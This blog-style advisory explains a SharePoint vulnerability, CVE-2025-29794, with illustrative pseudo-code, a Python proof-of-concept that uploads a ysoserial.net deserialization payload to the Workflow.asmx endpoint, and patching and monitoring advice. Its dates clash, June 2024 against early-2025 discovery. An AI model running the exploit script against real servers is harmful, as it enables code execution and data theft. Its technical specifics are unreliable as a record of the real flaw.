Published: June 2024 <br>Written by: SecureRead Team


Microsoft SharePoint is used everywhere—in big companies, schools, and local governments. It’s a web-based system that lets people work together, share files, and manage documents. In early 2025, security experts found a pretty serious flaw: CVE-2025-29794. In this article, we’ll tell you what it is, how it can be triggered, show you code snippets, and what you can do to protect yourself.

What is CVE-2025-29794?

CVE-2025-29794 is a security vulnerability in Microsoft Office SharePoint. It happens because SharePoint doesn’t always check if a user is allowed to perform an action before letting them do it. In simple words, an attacker who already has some level of access (like an employee or a contractor with an account) can use this weakness to run code on the SharePoint server through the network. This could let them steal sensitive info, deface websites, or even get higher access.

Where’s the Problem?

SharePoint is all about document management. It supports lots of actions—upload, download, run workflows, and manage documents. SharePoint uses *authorization checks* to decide if a user is allowed to do certain things. But CVE-2025-29794 happens because SharePoint’s code for handling workflow requests doesn’t always double-check the user’s permissions the right way.

What Does An Exploit Look Like?

Let’s say SharePoint is set up with default settings. A regular user with Write access to a single document library can craft a special request to a vulnerable SharePoint endpoint and get the server to run arbitrary code. This happens via a deserialization flaw in how SharePoint processes workflow definitions.

Vulnerable Code Flow (Simplified)

SharePoint exposes a web service like /sites/sitename/_vti_bin/Workflow.asmx. Handling a workflow import might look like:

// Pseudo-code - for illustration!
public void ImportWorkflow(HttpRequest request)
{
    // Not properly checking user's permissions!
    var workflowBytes = request.InputStream;
    Workflow workflow = (Workflow)BinaryFormatter.Deserialize(workflowBytes);
    // Now running workflow code as the SharePoint service account
    workflow.Execute();
}

Instead of checking if the user is really allowed to import workflows, this just lets whoever has access upload whatever workflow code they want—which gets deserialized and run by SharePoint.

Proof-Of-Concept Exploit

Below is a simple Python script using requests to upload a malicious workflow. This assumes you have credentials and the right URL:

import requests

# SharePoint credentials
username = 'bob@company.com'
password = 'Password!123'
site_url = 'https://sharepoint.company.com/sites/sitename';
target_url = f'{site_url}/_vti_bin/Workflow.asmx'

# Malicious payload (serialized .NET object)
malicious_payload = open('malicious_workflow.bin', 'rb').read()
headers = {
    "Content-Type": "application/octet-stream"
}

resp = requests.post(
    target_url,
    auth=(username, password),
    data=malicious_payload,
    headers=headers,
    verify=False
)

print("Status code:", resp.status_code)
print("Response:", resp.text)

The malicious_workflow.bin here is a payload created using tools like ysoserial.net, which can create serialized objects that execute commands like launching PowerShell or writing files.

Note: This is for educational use. Running this on systems you do not own or have permission to test is illegal.

What Can Attackers Do?

- Run Any Program: An attacker’s code runs as the SharePoint service account, which often has lots of privileges.

Steal Files or Data: The attacker can access SharePoint documents they normally can’t see.

- Pivot to Other Systems: If SharePoint connects to databases or other services, attackers might get a foothold there too.

Official Microsoft Response

Microsoft has issued patches for SharePoint versions 2019 and SharePoint Online.
- Update now: Visit Microsoft’s advisory for CVE-2025-29794 for download links and instructions.

Patch fast: Don’t wait! Install all security updates right away.

- Audit permissions: Review who can access workflow and API endpoints, especially anything under /_vti_bin/.

Monitor logs: Keep an eye out for suspicious workflow uploads or odd API calls.

- Segment the network: Don’t let SharePoint talk to sensitive systems it doesn’t need to access.

More References

- Microsoft Security Advisory CVE-2025-29794
- Original YSoSerial.NET Project (Payload Generator)
- SharePoint Workflow Documentation

Final Thoughts

CVE-2025-29794 is the latest reminder that inside attackers—people with real accounts—are a big security risk, especially on widely-used platforms like SharePoint. Don’t rely only on firewalls or network segmentation: keep your SharePoint patched, check your permissions, and be alert for suspicious activity.

Have you patched your SharePoint? Did you find evidence of this flaw being exploited? Let us know—knowledge shared is risk reduced.


Stay safe, <br>The SecureRead Team

Timeline

Published on: 04/08/2025 18:16:05 UTC
Last modified on: 04/23/2025 15:53:42 UTC